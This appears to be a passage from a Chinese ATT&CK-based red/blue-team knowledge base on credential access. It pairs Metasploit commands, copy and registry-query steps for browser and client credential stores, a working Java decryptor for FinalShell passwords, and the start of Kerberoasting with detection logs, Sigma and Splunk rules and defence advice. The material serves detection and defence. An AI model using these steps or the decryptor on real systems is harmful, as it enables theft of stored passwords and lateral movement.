msf6 exploit(windows/smb/psexec) > set SMBPASS Password123 msf6 exploit(windows/smb/psexec) > run ``` 2. **运行模块**: ```plaintext msf6 > use post/windows/gather/credentials/chrome msf6 post(windows/gather/credentials/chrome) > set SESSION msf6 post(windows/gather/credentials/chrome) > run ``` - 输出示例: ``` URL: https://example.com Username: user@example.com Password: Password123 ``` 3. **结果分析**: - 成功:提取Chrome保存的明文凭据。 - 失败可能: - 未保存凭据。 - 会话权限不足。 - 防病毒软件拦截。 #### 测试2:手动提取Chrome凭据 1. **复制数据库**: ```cmd copy "%LocalAppData%\Google\Chrome\User Data\Default\Login Data" C:\Temp\LoginData.sqlite ``` 2. **运行Python脚本**: 保存上述Python脚本为`decrypt_chrome.py`,执行: ```cmd python decrypt_chrome.py ``` 3. **结果分析**: - 成功:输出URL、用户名和明文密码。 - 失败可能:Python环境缺失或文件被锁定。 #### 测试3:提取Firefox凭据 1. **定位配置文件**: ```cmd dir "%APPDATA%\Mozilla\Firefox\Profiles\*.default-release" ``` 2. **复制文件**: ```cmd copy "%APPDATA%\Mozilla\Firefox\Profiles\*.default-release\logins.json" C:\Temp\ copy "%APPDATA%\Mozilla\Firefox\Profiles\*.default-release\key4.db" C:\Temp\ ``` 3. **解密凭据**: 在Kali上运行: ```bash python3 firefox_decrypt.py -d /mnt/c/Temp ``` 4. **结果分析**: - 成功:提取Firefox保存的凭据。 - 失败可能:未保存凭据或解密工具失效。 ## 测试留痕 ### Windows安全日志 - 事件ID4663: ``` 试图访问对象。 主题: 安全ID: TEST\user1 帐户名: user1 帐户域: TEST 登录ID: 0x7169C 对象: 对象服务器: Security 对象类型: File 对象名称: C:\Users\user1\AppData\Local\Google\Chrome\User Data\Default\Login Data 句柄ID: 0x1a4 访问请求信息: 访问: ReadData ``` - 事件ID4688: ``` 已创建新进程。 创建者主题: 安全ID: TEST\user1 帐户名: user1 帐户域: TEST 登录ID: 0x7169C 进程信息: 新进程ID: 0xd3c 新进程名称: C:\Windows\System32\cmd.exe 令牌提升类型: %%1936 强制性标签: Mandatory Label\Medium Mandatory Level 创建者进程ID: 0x15d0 创建者进程名称: C:\Windows\explorer.exe 进程命令行: cmd.exe /c copy "C:\Users\user1\AppData\Local\Google\Chrome\User Data\Default\Login Data"... ``` ### Sysmon日志 - 事件ID1: ``` 事件ID: 1 OriginalFileName: cmd.exe CommandLine: C:\Windows\system32\cmd.exe /c dir C:\Users\user1\AppData\Local\Google\Chrome\User Data\Default\ CurrentDirectory: C:\Users\user1\ User: TEST\user1 LogonGuid: {00000000-0000-0000-0000-000000000000} LogonId: 0x7169C TerminalSessionId: 4 IntegrityLevel: Medium Hashes: SHA1=5C0D1E2F3A4B5C6D7E8F9A0B1C2D3E4F5A6D7E8F,MD5=A1B2C3D4E5F6A7B8C9D0E1F2A3B4C5D6 ParentProcessGuid: {00000000-0000-1111-2222-333333333333} ParentProcessId: 0x15d0 ParentImage: C:\Windows\explorer.exe ParentCommandLine: C:\Windows\Explorer.EXE ``` - 事件ID11: ``` 事件ID:11 Image:C:\Windows\System32\cmd.exe TargetFilename:C:\Users\user1\AppData\Local\Google\Chrome\User Data\Default\Login Data ``` ## 检测规则/思路 ### 检测方法 1. 进程监控: - 检测`cmd.exe`、`powershell.exe`或可疑进程(如Python)访问浏览器凭据文件。 2. 命令行分析: - 正则表达式匹配: ```regex (cmd\.exe|powershell\.exe).*(Chrome\\User Data\\Default\\Login Data|Mozilla\\Firefox\\Profiles.*(key4\.db|logins\.json)|Opera Software\\Opera Stable\\Login Data) ``` 3. 文件监控: - 检测对`Login Data`、`logins.json`、`key4.db`的异常访问或复制。 - 监控非预期路径下的导出文件(如`.sqlite`、`.json`)。 4. 对象访问审计: - 启用事件ID4663,记录对凭据文件的读取。 5. 网络监控: - 检测解密后的凭据用于异常登录(HTTP/HTTPS流量)。 ### Sigma规则 优化后的Sigma规则,增强误报过滤: ```yaml title: Web浏览器凭据文件访问 id: a0b1c2d3-e4f5-a6b7-c8d9-e0f1a2b3c4d6 description: 检测对Chrome、Firefox、Opera凭据文件的异常访问 status: experimental references: - https://attack.mitre.org/techniques/T1555/003/ tags: - attack.credential_access - attack.t1555.003 logsource: product: windows service: security detection: selection: EventID: 4663 ObjectServer: 'Security' ObjectType: 'File' ObjectName|contains: - '\Google\Chrome\User Data\Default\Login Data' - '\Mozilla\Firefox\Profiles\key4.db' - '\Mozilla\Firefox\Profiles\logins.json' - '\Opera Software\Opera Stable\Login Data' AccessMask: '0x1' # ReadData filter_legitimate: ProcessName|contains: - '\chrome.exe' - '\firefox.exe' - '\opera.exe' condition: selection and not filter_legitimate fields: - ObjectName - ProcessName - AccountName falsepositives: - 合法浏览器操作 level: medium ``` 规则说明: - 目标:检测对浏览器凭据文件的异常访问。 - 过滤:排除浏览器自身进程的正常访问。 - 日志来源:Windows安全日志事件ID4663。 - 误报处理:需启用对象访问审计,结合进程上下文分析。 - 级别:标记为“中”优先级,因需进一步确认恶意行为。 ### Splunk规则 ```spl index=windows source="WinEventLog:Security" EventCode=4663 ObjectType="File" (ObjectName="*Chrome*Login Data*" OR ObjectName="*Firefox*key4.db*" OR ObjectName="*Firefox*logins.json*" OR ObjectName="*Opera*Login Data*") AccessMask="0x1" NOT ProcessName IN ("*chrome.exe","*firefox.exe","*opera.exe") | fields ObjectName,ProcessName,AccountName ``` 规则说明: - 检测凭据文件访问,排除浏览器自身操作。 - 减少误报:结合进程名称和用户上下文分析。 ### 检测挑战 - 误报:浏览器正常操作可能触发,需建立基线。 - 日志依赖:需启用对象访问审计(事件ID4663)。 - 隐蔽性:攻击使用系统工具(如`cmd.exe`),难以区分合法与恶意行为。 ## 防御建议 1. 监控和日志: - 启用对象访问审计,记录事件ID4663。 - 部署Sysmon,配置针对浏览器凭据文件的监控。 2. 凭据管理: - 配置浏览器不保存敏感凭据,或使用主密码保护。 - 定期清理浏览器保存的凭据。 3. 文件保护: - 限制普通用户对浏览器配置文件目录的访问权限。 - 使用文件完整性监控工具检测篡改。 4. 软件更新: - 保持浏览器更新,修复潜在漏洞。 5. 网络监控: - 监控异常的HTTP/HTTPS登录尝试,检测凭据重用。 ## 参考推荐 - MITREATT&CKT1555.003: - 窃取Chrome和Firefox密码: - Firefox凭据解密工具: - Sysmon配置与检测: - Metasploit浏览器凭据模块: ================================================ FILE: Windows/08凭证访问/T1555.005-Win-cmdkey获取凭据(白名单).md ================================================ # T1555.005-Win-cmdkey获取凭据 ## 描述 攻击者可能通过Windows内置工具`cmdkey.exe`获取存储在系统中的用户凭据。`cmdkey.exe`用于管理Windows凭据缓存,允许用户创建、显示、删除或修改存储的凭据(如域用户凭据或远程桌面连接的密码)。这些凭据通常用于远程系统管理任务,可能包含明文用户名和密码。 攻击者利用`cmdkey /list`命令枚举缓存凭据,提取目标系统的用户名和密码(若以明文存储),或通过进一步操作(如内存转储)获取加密凭据。获取的凭据可用于横向移动或特权提升。`cmdkey`操作无需提权,普通域用户即可执行,隐蔽性较高。 ## 测试案例 ### 测试案例1:使用cmdkey枚举凭据 通过`cmdkey /list`命令列出当前用户的缓存凭据。 **命令**: ```cmd cmdkey /list ``` - **示例输出**: ``` 当前保存的凭据: 目标: Domain:target=server01.test.com 类型: 域密码 用户: TEST\user1 仅为此登录保存 目标: MicrosoftAccount:target=SSO_POP_Device 类型: 域扩展的凭据 用户: 02bdiisjiovu 本地机器持续时间 ``` - **说明**: - 显示存储的凭据,包括目标服务器、用户名和凭据类型。 - 攻击者可利用用户名尝试进一步攻击。 - **权限**:普通域用户权限。 - **支持系统**:Windows7、WindowsServer2008及以上。 ### 测试案例2:添加并提取凭据 通过`cmdkey`添加测试凭据并枚举。 **命令**: ```cmd cmdkey /add:server01.test.com /user:TEST\user1 /pass:Password123 cmdkey /list ``` - **说明**: - 手动添加凭据后,使用`/list`提取。 - 攻击者可利用此方法测试目标系统是否存储明文凭据。 - **权限**:普通域用户权限。 ## 检测日志 ### 数据来源 - Windows安全日志: - 事件ID4688:进程创建,记录`cmdkey.exe`的执行信息。 - Sysmon日志: - 事件ID1:进程创建,包含命令行、哈希值和父进程。 - 事件ID11:文件创建,记录可能的凭据导出文件。 - 文件监控: - 检测非预期路径下保存的凭据导出文件(如`.txt`)。 - 行为监控: - 检测`cmdkey.exe`的异常使用模式(如频繁执行`/list`)。 ## 测试复现 ### 环境准备 - 靶机:WindowsServer2012或Windows10 - 账户:域用户账户(如TEST\user1) - 工具: - Sysmon(可选,日志收集) - 文本编辑器(记录输出) ### 攻击分析 #### 测试1:使用cmdkey枚举凭据 1. **登录靶机**: 使用域用户账户登录: ```cmd net use \\DC1.test.com\IPC$ /user:TEST\user1 Password123 ``` 2. **添加测试凭据**: ```cmd cmdkey /add:server01.test.com /user:TEST\user1 /pass:TestPass123 ``` 3. **枚举凭据**: ```cmd cmdkey /list ``` - 输出包含`server01.test.com`的凭据信息。 4. **记录凭据**: 将输出重定向到文件: ```cmd cmdkey /list > C:\Temp\credentials.txt ``` 5. **传输文件**: 通过SMB或HTTP将`credentials.txt`传输到攻击机。 6. **结果分析**: - 成功:提取缓存的用户名和目标服务器信息,可用于进一步攻击。 - 失败可能: - 无缓存凭据。 - 权限限制阻止文件写入。 - 防病毒软件拦截`cmdkey`操作。 ## 测试留痕 ### Windows安全日志 - 事件ID4688: ``` 已创建新进程。 创建者主题: 安全ID: TEST\user1 帐户名: user1 帐户域: TEST 登录ID: 0x7169C 进程信息: 新进程ID: 0xd3c 新进程名称: C:\Windows\System32\cmdkey.exe 令牌提升类型: %%1936 强制性标签: Mandatory Label\Medium Mandatory Level 创建者进程ID: 0x15d0 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: cmdkey /list ``` ### Sysmon日志 - 事件ID1: ``` 事件ID:1 OriginalFileName:cmdkey.exe CommandLine:cmdkey /list CurrentDirectory:C:\Users\user1\ User:TEST\user1 Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B ParentImage:C:\Windows\System32\cmd.exe ``` - 事件ID11(若导出文件): ``` 事件ID:11 Image:C:\Windows\System32\cmdkey.exe TargetFilename:C:\Temp\credentials.txt ``` ## 检测规则/思路 ### 检测方法 1. 进程监控: - 检测`cmdkey.exe`的执行,尤其是`/list`参数。 2. 命令行分析: - 正则表达式匹配: ```regex cmdkey\.exe.*\/list ``` 3. 文件监控: - 检测非预期路径下保存的凭据导出文件(如`.txt`)。 4. 行为分析: - 检测`cmdkey /list`的频繁执行或异常用户上下文。 5. 日志分析: - 监控事件ID4688,结合命令行参数确认`cmdkey`操作。 ### Sigma规则 优化后的Sigma规则,增强误报过滤: ```yaml title: Windows下cmdkey获取凭据 id: 6d7e8f9a-0b1c-2d3e-4f5a-6b7c8d9e0f1a description: 检测cmdkey.exe枚举凭据的异常行为 status: experimental references: - https://attack.mitre.org/techniques/T1555/005/ tags: - attack.credential_access - attack.t1555.005 logsource: product: windows service: security detection: selection: EventID: 4688 NewProcessName|endswith: '\cmdkey.exe' CommandLine|contains: '/list' filter_legitimate: CreatorProcessName|contains: - 'C:\Program Files\' - 'C:\Program Files (x86)\' condition: selection and not filter_legitimate fields: - NewProcessName - CommandLine - CreatorProcessName - AccountName falsepositives: - 合法的管理员操作 level: medium ``` 规则说明: - 目标:检测`cmdkey.exe`执行`/list`操作的行为。 - 过滤:排除合法程序路径的调用。 - 日志来源:Windows安全日志事件ID4688。 - 误报处理:管理员维护操作可能触发,需结合用户上下文分析。 - 级别:标记为“中”优先级,因需进一步确认恶意行为。 ### Splunk规则 ```spl index=windows source="WinEventLog:Security" EventCode=4688 NewProcessName="*\cmdkey.exe" CommandLine="* /list *" NOT CreatorProcessName IN ("*Program Files*") | fields NewProcessName,CommandLine,CreatorProcessName,AccountName ``` 规则说明: - 检测`cmdkey /list`的执行,排除合法路径的调用。 - 减少误报:结合父进程和用户上下文分析。 ### 检测挑战 - 误报:管理员的合法凭据管理操作可能触发,需建立基线。 - 日志依赖:需启用命令行审计(WindowsServer2012及以上)。 - 隐蔽性:`cmdkey`为系统工具,难以区分合法与恶意使用。 ## 防御建议 1. 监控和日志: - 启用命令行审计,确保事件ID4688记录完整参数。 - 部署Sysmon,配置针对`cmdkey.exe`的规则。 2. 凭据管理: - 限制用户存储明文凭据,定期清理缓存凭据。 - 使用组策略禁用不必要的凭据缓存(路径:`计算机配置>管理模板>系统>凭据委派`)。 3. 权限控制: - 限制普通用户对`cmdkey.exe`的执行权限。 - 监控域用户账户的异常活动。 4. 文件保护: - 监控非预期路径下的凭据导出文件。 5. 安全更新: - 保持Windows系统更新,修复潜在漏洞。 ## 参考推荐 - MITREATT&CKT1555.005: - 红蓝对抗之Windows内网渗透: - 利用cmdkey辅助渗透提权: - Microsoft cmdkey文档: - Sysmon配置与检测: ================================================ FILE: Windows/08凭证访问/T1555.005-Win-命令行获取Finalshell软件保存的公钥.md ================================================ # T1555.005-Win-命令行获取Finalshell软件保存的公钥 ## 描述 攻击者可能通过命令行工具从第三方密码管理器或SSH客户端(如FinalShell)中提取用户凭据或公钥。FinalShell是一款集SSH客户端、服务器管理和运维功能于一体的软件,广泛用于远程服务器管理。其存储的凭据(如用户名、密码)及SSH公钥通常以加密形式保存在本地配置文件中,但攻击者可通过访问这些文件并解密提取敏感信息。 在FinalShell中,SSH公钥存储在knownhosts.json文件中,密码等凭据存储在*_connect_config.json文件中(DES加密)。攻击者可通过命令行读取这些文件,或利用公开的解密代码提取明文凭据。获取的凭据可用于横向移动或访问远程服务器。此攻击无需提权,普通用户权限即可执行,隐蔽性较高。 ## 测试案例 命令行获取finalshell软件保存的公钥。 FinalShell是一体化的的服务器,网络管理软件。不仅是ssh客户端,还是功能强大的开发,运维工具,充分满足开发,运维需求。 特色功能: - 免费海外服务器远程桌面加速,ssh加速,本地化命令输入框,支持自动补全,命令历史,自定义命令参数。 命令行获取finalshell软件保存的公钥: ```yml type c:\users\\AppData\Local\finalshell\knownhosts.json type d:\finalshell(安装路径)\knownhosts.json ``` 该文件中关键字host的键值为远程服务器的SSH连接的IP和端口,关键字key的键值为该远程服务器的SSH连接的公钥。 密码存在下方文件中: ```yml c:\Users\Administrator\AppData\Local\finalshell\conn\*********_connect_config.json D:\software\finalshell\deleted\*********\***********_connect_config.json ``` json文件是des加密,可解密获得,打开在线编辑器,使用下面java代码即可解密 ```java import java.io.ByteArrayOutputStream; import java.io.DataOutputStream; import java.io.IOException; import java.math.BigInteger; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.security.SecureRandom; import java.util.Base64; import java.util.Random; import javax.crypto.Cipher; import javax.crypto.SecretKey; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.DESKeySpec; public class FinalShellDecodePass { public static void main(String[] args)throws Exception { System.out.println(decodePass("TVE5YhZeGxyOCxxxxxxCUAnkVWgAeJ3L")); } public static byte[] desDecode(byte[] data, byte[] head) throws Exception { SecureRandom sr = new SecureRandom(); DESKeySpec dks = new DESKeySpec(head); SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES"); SecretKey securekey = keyFactory.generateSecret(dks); Cipher cipher = Cipher.getInstance("DES"); cipher.init(2, securekey, sr); return cipher.doFinal(data); } public static String decodePass(String data) throws Exception { if (data == null) { return null; } else { String rs = ""; byte[] buf = Base64.getDecoder().decode(data); byte[] head = new byte[8]; System.arraycopy(buf, 0, head, 0, head.length); byte[] d = new byte[buf.length - head.length]; System.arraycopy(buf, head.length, d, 0, d.length); byte[] bt = desDecode(d, ranDomKey(head)); rs = new String(bt); return rs; } } static byte[] ranDomKey(byte[] head) { long ks = 3680984568597093857L / (long)(new Random((long)head[5])).nextInt(127); Random random = new Random(ks); int t = head[0]; for(int i = 0; i < t; ++i) { random.nextLong(); } long n = random.nextLong(); Random r2 = new Random(n); long[] ld = new long[]{(long)head[4], r2.nextLong(), (long)head[7], (long)head[3], r2.nextLong(), (long)head[1], random.nextLong(), (long)head[2]}; ByteArrayOutputStream bos = new ByteArrayOutputStream(); DataOutputStream dos = new DataOutputStream(bos); long[] var15 = ld; int var14 = ld.length; for(int var13 = 0; var13 < var14; ++var13) { long l = var15[var13]; try { dos.writeLong(l); } catch (IOException var18) { var18.printStackTrace(); } } try { dos.close(); } catch (IOException var17) { var17.printStackTrace(); } byte[] keyData = bos.toByteArray(); keyData = md5(keyData); return keyData; } public static byte[] md5(byte[] data) { String ret = null; byte[] res=null; try { MessageDigest m; m = MessageDigest.getInstance("MD5"); m.update(data, 0, data.length); res=m.digest(); ret = new BigInteger(1, res).toString(16); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } return res; } } ``` ## 检测日志 暂无,未发现Windows安全日志、Sysmon日志记录相关信息。 模拟测试环境:Windows server 2012 ## 测试复现 ```yml C:\Users\Administrator>type c:\users\administrator\AppData\Local\finalshell\know nhosts.json {"host_list":[{"marker":"","host":"124.223.-.-","type":"ssh-rsa","key":"——————"}]} C:\Users\Administrator>type c:\Users\Administrator\AppData\Local\finalshell\conn \wgdw661g0vpyfqxa_connect_config.json {"forwarding_auto_reconnect":false,"custom_size":false,"delete_time":0,"secret_k ey_id":"","user_name":"root","remote_port_forwarding":{},"conection_type":100, "sort_time":0,"description":"","proxy_id":"0","authentication_type":1,"drivestor edirect":true,"delete_key_sequence":0,"password":"aaaassss————","modified_time":1664024518386,"host":"124.223.-.-","accelerate":false,"id ":"wgdw661g0vpyfqxa","height":0,"order":0,"create_time":1664024518386,"port_forw arding_list":[],"parent_update_time":0,"rename_time":0,"backspace_key_sequence": 2,"fullscreen":false,"port":22,"terminal_encoding":"UTF-8","parent_id":"root","e xec_channel_enable":true,"width":0,"name":"test","access_time":1664024522100} ``` ## 测试留痕 未监测到有效日志 ## 检测规则/思路 无 ## 建议 无 ## 参考推荐 - MITRE-ATT&CK-T1555-005 - Finalshell导出密码解密解密 ================================================ FILE: Windows/08凭证访问/T1555.005-Win-常见凭据存放位置.md ================================================ # T1555.005-Win-常见凭据存放位置 ## 描述 攻击者可能通过访问第三方密码管理器或客户端软件的配置文件、注册表项或内存,提取用户凭据。这些软件(如Navicat、SecureCRT、Xshell、WinSCP、VNC)用于管理数据库、远程服务器或桌面连接,凭据通常存储在本地文件或注册表中,可能以明文、加密或哈希形式存在。攻击者可通过文件读取、注册表查询或内存转储获取凭据,无需提权,普通用户权限即可操作,隐蔽性较高。 提取的凭据可用于横向移动、特权提升或访问远程系统。部分软件的加密算法较弱,攻击者可利用公开的解密工具或脚本还原明文凭据。 ## 测试案例 ### 测试案例1:Navicat数据库凭据 Navicat存储数据库连接凭据在注册表中,可能包含明文或弱加密密码。 **路径**: ```plaintext HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\ HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\ HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\ HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\ HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\ HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\ HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\ ``` **命令**: ```cmd reg query HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers ``` - **说明**: - 注册表项包含连接名称、主机、用户名和加密密码。 - 密码需使用Navicat解密工具(如公开脚本)解密。 - **权限**:普通用户权限。 - **支持系统**:Windows7、WindowsServer2008及以上。 ### 测试案例2:SecureCRT会话凭据 SecureCRT存储SSH会话凭据在配置文件中,可能包含密码或私钥。 **路径**: ```plaintext WindowsXP/2003: C:\Documents and Settings\\Application Data\VanDyke\Config\Sessions Windows7/2008+: C:\Users\\AppData\Roaming\VanDyke\Config\Sessions ``` **命令**: ```cmd dir C:\Users\\AppData\Roaming\VanDyke\Config\Sessions type C:\Users\\AppData\Roaming\VanDyke\Config\Sessions\.ini ``` - **说明**: - `.ini`文件包含主机、用户名和加密密码(若保存)。 - 需SecureCRT密码解密工具。 - **权限**:普通用户权限。 ### 测试案例3:Xshell会话凭据 Xshell存储SSH会话信息在`.xsh`文件中。 **路径**: ```plaintext Xshell5: %userprofile%\Documents\NetSarang\Xshell\Sessions Xshell6+: %userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions ``` **命令**: ```cmd type %userprofile%\Documents\NetSarang\Xshell\Sessions\.xsh ``` - **说明**: - 包含主机、端口、用户名,密码通常不存储(需私钥或手动输入)。 - **权限**:普通用户权限。 ### 测试案例4:WinSCP会话凭据 WinSCP存储FTP/SFTP会话凭据在注册表中。 **路径**: ```plaintext HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions ``` **命令**: ```cmd reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions" ``` - **说明**: - 包含主机、用户名和加密密码,可用WinSCP解密脚本提取。 - **权限**:普通用户权限。 ### 测试案例5:VNC凭据 VNC客户端存储远程桌面连接密码在注册表或配置文件中。 **路径**: ```plaintext RealVNC: HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver\Password TightVNC: HKEY_CURRENT_USER\Software\TightVNC\Server\Password TigerVNC: HKEY_CURRENT_USER\Software\TigerVNC\WinVNC4\Password UltraVNC: C:\Program Files\UltraVNC\ultravnc.ini (passwd/passwd2) ``` **命令**: ```cmd reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver /v Password type "C:\Program Files\UltraVNC\ultravnc.ini" ``` - **说明**: - 密码通常为加密形式,需专用解密工具。 - **权限**:普通用户权限(部分需管理员权限,如RealVNC)。 ## 检测日志 ### 数据来源 - Windows安全日志: - 事件ID4688:进程创建,记录`reg.exe`、`cmd.exe`或`type`命令的执行。 - Sysmon日志: - 事件ID1:进程创建,记录命令行参数。 - 事件ID11:文件访问,记录对配置文件或注册表的读取。 - 事件ID13:注册表访问,记录对凭据相关键的查询。 - 文件监控: - 检测对Navicat、SecureCRT、Xshell、WinSCP、VNC配置文件的异常访问。 - 网络监控: - 检测解密后的凭据用于远程系统(SSH、RDP、数据库)的异常登录。 ### 限制 - 默认情况下,Windows安全日志可能不记录详细命令行参数,需启用“命令行进程创建审计”。 - Sysmon需配置针对特定文件和注册表路径的监控规则。 ## 测试复现 ### 环境准备 - 靶机:WindowsServer2012或Windows10 - 软件:Navicat、SecureCRT、Xshell、WinSCP、RealVNC/TightVNC等(已配置连接) - 账户:普通用户账户(如TEST\user1) - 工具: - Sysmon(可选,日志收集) - 解密脚本(如Navicat、WinSCP的公开工具) ### 攻击分析 #### 测试1:提取Navicat凭据 1. **登录靶机**: 使用普通用户账户登录。 2. **查询注册表**: ```cmd reg query HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers ``` - 输出连接名称、主机、用户名和加密密码。 3. **导出注册表**: ```cmd reg export HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers C:\Temp\navicat.reg ``` 4. **解密密码**: 使用Navicat解密工具(如Python脚本)处理加密密码。 5. **结果分析**: - 成功:获取数据库用户名和密码。 - 失败可能:无Navicat配置或解密工具失效。 #### 测试2:提取SecureCRT凭据 1. **定位配置文件**: ```cmd dir C:\Users\user1\AppData\Roaming\VanDyke\Config\Sessions ``` 2. **读取会话文件**: ```cmd type C:\Users\user1\AppData\Roaming\VanDyke\Config\Sessions\session.ini ``` 3. **解密密码**: 使用SecureCRT解密工具提取密码。 4. **结果分析**: - 成功:获取SSH连接凭据。 - 失败可能:未保存密码或文件权限限制。 #### 测试3:提取VNC凭据 1. **查询注册表**: ```cmd reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver /v Password ``` 2. **读取配置文件**: ```cmd type "C:\Program Files\UltraVNC\ultravnc.ini" ``` 3. **解密密码**: 使用VNC解密工具处理加密字段。 4. **结果分析**: - 成功:获取VNC连接密码。 - 失败可能:需管理员权限或未配置VNC。 ## 测试留痕 ### Windows安全日志 - 事件ID4688: ``` 已创建新进程。 创建者主题: 安全ID: TEST\user1 帐户名: user1 帐户域: TEST 登录ID: 0x7169C 进程信息: 新进程ID: 0xd3c 新进程名称: C:\Windows\System32\reg.exe 令牌提升类型: %%1936 强制性标签: Mandatory Label\Medium Mandatory Level 创建者进程ID: 0x15d0 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: reg query HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers ``` ### Sysmon日志 - 事件ID1: ``` 事件ID:1 OriginalFileName:reg.exe CommandLine:reg query HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers CurrentDirectory:C:\Users\user1\ User:TEST\user1 Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B ParentImage:C:\Windows\System32\cmd.exe ``` - 事件ID11: ``` 事件ID:11 Image:C:\Windows\System32\cmd.exe TargetFilename:C:\Users\user1\AppData\Roaming\VanDyke\Config\Sessions\session.ini ``` ## 检测规则/思路 ### 检测方法 1. 进程监控: - 检测`reg.exe`查询敏感注册表路径。 - 检测`cmd.exe`执行`type`命令访问配置文件。 2. 命令行分析: - 正则表达式匹配: ```regex reg\.exe.*query.*(Navicat|WinSCP|RealVNC|TightVNC|TigerVNC) ``` ```regex cmd\.exe.*type.*(VanDyke\\Config\\Sessions|NetSarang.*Sessions|ultravnc\.ini) ``` 3. 文件监控: - 检测对Navicat、SecureCRT、Xshell、WinSCP、VNC配置文件的异常访问。 - 监控非预期路径下的导出文件(如`.reg`、`.ini`)。 4. 注册表监控: - 检测对凭据相关注册表键的查询或修改。 5. 网络监控: - 检测解密后的凭据用于远程系统(SSH、RDP、数据库)的异常登录。 ### Sigma规则 ```yaml title: 访问常见凭据存放位置 id: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c description: 检测命令行或注册表工具访问Navicat、SecureCRT、Xshell、WinSCP、VNC的凭据存储位置 status: experimental references: - https://attack.mitre.org/techniques/T1555/005/ tags: - attack.credential_access - attack.t1555.005 logsource: product: windows service: sysmon detection: selection_reg: EventID: 1 Image|endswith: '\reg.exe' CommandLine|contains: - 'Navicat' - 'WinSCP' - 'RealVNC' - 'TightVNC' - 'TigerVNC' selection_file: EventID: 1 Image|endswith: '\cmd.exe' CommandLine|contains: - 'VanDyke\Config\Sessions' - 'NetSarang' - 'ultravnc.ini' filter_legitimate: CommandLine|contains: - 'C:\Program Files\' - 'C:\Program Files (x86)\' condition: (selection_reg or selection_file) and not filter_legitimate fields: - Image - CommandLine - ParentImage - User falsepositives: - 合法的软件配置操作 level: medium ``` 规则说明: - 目标:检测访问Navicat、SecureCRT、Xshell、WinSCP、VNC的凭据存储位置。 - 过滤:排除合法程序路径的调用。 - 日志来源:Sysmon事件ID1。 - 误报处理:管理员维护操作可能触发,需结合用户上下文分析。 - 级别:标记为“中”优先级,因需进一步确认恶意行为。 ### Splunk规则 ```spl index=windows source="Microsoft-Windows-Sysmon/Operational" EventCode=1 (Image="*\reg.exe" CommandLine IN ("*Navicat*","*WinSCP*","*RealVNC*","*TightVNC*","*TigerVNC*") OR Image="*\cmd.exe" CommandLine IN ("*VanDyke*","*NetSarang*","*ultravnc.ini*")) NOT CommandLine IN ("*Program Files*") | fields Image,CommandLine,ParentImage,User ``` 规则说明: - 检测访问凭据存储位置的操作,排除合法路径。 - 减少误报:结合命令行参数和父进程分析。 ### 检测挑战 - 误报:管理员或用户查看配置文件可能触发,需建立行为基线。 - 日志依赖:需启用命令行审计和Sysmon监控。 - 隐蔽性:攻击使用系统工具(如`reg.exe`、`cmd.exe`),难以区分合法与恶意行为。 ## 防御建议 1. 监控和日志: - 启用命令行审计,确保事件ID4688记录完整参数。 - 部署Sysmon,配置针对敏感文件和注册表路径的监控。 2. 文件和注册表保护: - 限制普通用户对敏感配置文件和注册表键的访问权限。 - 使用文件完整性监控工具检测配置篡改。 3. 凭据管理: - 配置软件不保存密码,或使用强加密和主密码保护。 - 定期清理未使用的连接配置。 4. 软件更新: - 保持Navicat、SecureCRT、Xshell、WinSCP、VNC更新,修复加密漏洞。 5. 网络监控: - 监控SSH、RDP、数据库流量,检测异常登录尝试。 ## 参考推荐 - MITREATT&CKT1555.005: - 红蓝对抗之Windows内网渗透: - Sysmon配置与检测: - Navicat密码解密工具: - WinSCP密码解密: ================================================ FILE: Windows/08凭证访问/T1558.003-Win-SPN-凭证转储.md ================================================ # T1558.003-基于SPN凭证获取 ## 描述 攻击者可能利用有效的Kerberos票证授予票证(TGT)或嗅探网络流量,获取票证授予服务(TGS)票证,针对服务主体名称(SPN)关联的服务账户进行离线暴力破解,以窃取凭据。SPN用于唯一标识Windows服务的实例,需与至少一个服务账户关联以启用Kerberos身份验证。 攻击者通过SPN扫描发现域内服务,使用TGT向域控制器(DC)请求TGS票证。TGS票证的部分数据以RC4算法加密(Kerberos5TGS-REP etype 23),使用服务账户的NTLM哈希作为密钥,易受离线破解攻击,可能暴露明文密码。破解的凭据可用于持久化、特权提升或横向移动。 **SPN与UPN**: - **SPN(服务主体名称)**:标识运行在机器账户或系统账户(如LocalSystem)下的服务,格式如`MSSQLSvc/DC1.test.com`。 - **UPN(用户主体名称)**:标识运行在域用户账户下的服务,格式如`user@domain.com`。 攻击无需向目标服务发送流量,仅需与DC交互,难以通过传统网络监控检测。 ## 测试案例 ### 测试案例1:SPN扫描与Kerberoasting攻击 通过PowerShell扫描域内SPN,请求TGS票证并导出,使用Kerberoast工具破解服务账户密码。 **步骤**: 1. **扫描SPN**: ```powershell setspn -T domain.com -Q */* ``` - 查询域内所有SPN,输出如`MSSQLSvc/DC1.test.com`。 2. **请求TGS票证**: ```powershell $SPNName = 'MSSQLSvc/DC1.test.com' Add-Type -AssemblyName System.IdentityModel New-Object 